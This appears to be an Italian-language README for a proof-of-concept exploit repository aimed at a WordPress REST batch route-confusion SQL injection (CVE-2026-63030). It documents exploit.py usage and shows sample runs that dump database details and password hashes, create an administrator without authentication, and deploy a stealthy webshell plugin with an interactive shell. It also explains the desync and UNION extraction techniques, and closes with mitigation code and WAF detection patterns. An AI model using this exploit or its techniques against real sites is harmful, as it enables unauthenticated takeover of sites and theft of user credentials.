
CVE-2026-63030 - Prova di concetto di SQL Injection di Route-Confusion nel batch REST di WordPress
Proof of Concept per l'SQL Injection da Route-Confusion nel Batch REST di WordPress (CVE-2026-63030)
Ricerca, sviluppo dell'exploit e documentazione a cura di Ch4120N
Questo repository e il relativo strumento (exploit.py) sono destinati esclusivamente a scopi educativi, test di penetrazione autorizzati e ricerca sulla sicurezza.
L'utilizzo di questo exploit contro obiettivi senza un consenso esplicito, preventivo e scritto è illegale e viola le leggi globali contro le frodi e gli abusi informatici. L'autore (Ch4120N) non si assume assolutamente alcuna responsabilità per usi impropri, danni o conseguenze legali derivanti dall'uso di questo codice. Operate sempre entro i limiti della legge e ottenete la dovuta autorizzazione.
CVE-2026-63030 è una vulnerabilità critica e non autenticata che colpisce la REST API di WordPress. Sfrutta un bug di route-confusion all'interno dell'endpoint di elaborazione batch annidata (/wp-json/batch/v1 o /?rest_route=/batch/v1).
Quando WordPress elabora un batch di richieste REST API, valida ogni sotto-richiesta rispetto al suo schema specifico prima dell'esecuzione. Tuttavia, a causa di un difetto nel modo in cui il puntatore di routing interno gestisce percorsi deliberatamente malformati (ad es. ///), lo schema di validazione si desincronizza dall'handler di esecuzione effettivo.
/wp/v2/users (che non accetta author_exclude) venga eseguita dall'handler di /wp/v2/posts. Il parametro author_exclude non sanificato viene passato direttamente nella clausola author__not_in di WP_Query, risultando in una SQL Injection non autenticata.oembed_cache. L'exploit utilizza quindi un payload changeset del Customizer per avvelenare la cache del menu di navigazione, ingannando WordPress e facendogli eseguire una richiesta di creazione utente nel contesto di un amministratore esistente.pip install richiesto.exploit.py).WP_Post fittizia (1 richiesta per valore).EXTRACTVALUE() se WP_DEBUG_DISPLAY è abilitato.cd).Non sono richiesti pacchetti di terze parti. Assicurati di avere installato Python 3.8 o superiore.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
L'exploit è diviso in tre sotto-comandi principali: check, read e shell.
Queste opzioni si applicano a tutti i sotto-comandi:
| Opzione | Descrizione | Predefinito |
|---|---|---|
url | URL di base del target (es. http://target.com) | Obbligatorio |
--rest-route | Usa /?rest_route=/batch/v1 invece di /wp-json/batch/v1 (per siti con permalink disabilitati). | False |
--timeout | Timeout delle richieste HTTP in secondi. | 30.0 |
--proxy | Proxy HTTP/HTTPS (es. http://127.0.0.1:8080). | None |
check - Rilevamento della VulnerabilitàSonda in modo sicuro il target per confermare la presenza dei marcatori di route-confusion e testa i tempi della SQLi senza estrarre dati.
| Opzione | Descrizione | Predefinito |
|---|---|---|
--sleep | Ritardo di temporizzazione SQL (secondi) usato dal fallback --confirm-sqli. | 3.0 |
--samples | Numero di coppie di temporizzazione SQL baseline/ritardate da testare. | 3 |
--confirm-sqli | Invia un payload attivo di conferma SQLi (aggiunge un lieve ritardo). | False |
read - Estrazione dal DatabaseEstrae i dati direttamente dal database tramite l'iniezione SQL.
| Opzione | Descrizione | Predefinito |
|---|---|---|
--preset | Preset di estrazione rapida: fingerprint (versione/utente/db) o users (login/hash). | fingerprint |
--query | Esegue un'espressione SQL scalare personalizzata (es. "SELECT @@version"). | None |
--prefix | Prefisso delle tabelle del database. | wp_ |
--max-length | Numero massimo di caratteri da estrarre per valore. | 128 |
--technique | Tecnica di estrazione: auto, union, error o blind. | auto |
shell - Esecuzione Remota di CodiceDistribuisce la webshell ed esegue i comandi. Se non vengono fornite credenziali, attiva automaticamente il bridge di creazione dell'admin in pre-autenticazione.
| Opzione | Descrizione | Predefinito |
|---|---|---|
--user | Nome utente admin. (Ometti per usare il bridge di pre-autenticazione). | None |
--password | Password admin. (Ometti per usare il bridge di pre-autenticazione). | None |
--cmd | Comando singolo da eseguire sul target. | None |
-i, --interactive | Apre una shell interattiva (REPL) dopo la distribuzione. | False |
Di seguito alcuni esempi reali dello strumento in azione.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Nota come lo strumento crei automaticamente un account admin, distribuisca la shell e ripulisca tutto dopo l'uscita.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
Il cuore dell'exploit si basa sull'iniezione di _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Questo URL non valido costringe il routing interno di WordPress a generare un WP_Error per la prima sotto-richiesta. Ciò sposta il puntatore interno, facendo sì che la seconda sotto-richiesta venga validata rispetto a uno schema ma eseguita dall'handler della terza sotto-richiesta. In questo modo il parametro author_exclude viene introdotto di nascosto nella WP_Query.
Invece della lenta SQLi blind, lo strumento usa una UNION SELECT per iniettare una riga wp_posts fittizia e completamente formata. Impostando orderby=none e per_page=500, impedisce a WP_Query di suddividere la query. Il post_title iniettato contiene il risultato codificato in hex dell'espressione SQL target, racchiuso tra delimitatori ||, che viene riflesso direttamente nella risposta JSON della REST API.
Il plugin PHP distribuito è progettato per un'elevata furtività:
wp_a1b2c3d4.php).t) e un comando (c) tramite parametri GET.hash_equals() per prevenire attacchi di timing sul token.chdir) per prevenire la divulgazione del percorso.EXPLOIT::...::END per un parsing pulito da parte del client Python.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1 annidate contenenti author_exclude nell'URI.UNION, SLEEP() o EXTRACTVALUE nei parametri URL./// nelle richieste REST API.WP_DEBUG_DISPLAY sia impostato su false in wp-config.php per prevenire la divulgazione di SQLi basata su errori."Da grandi poteri derivano grandi responsabilità. Usa questa conoscenza per difendere, non per distruggere."
— Ch4120N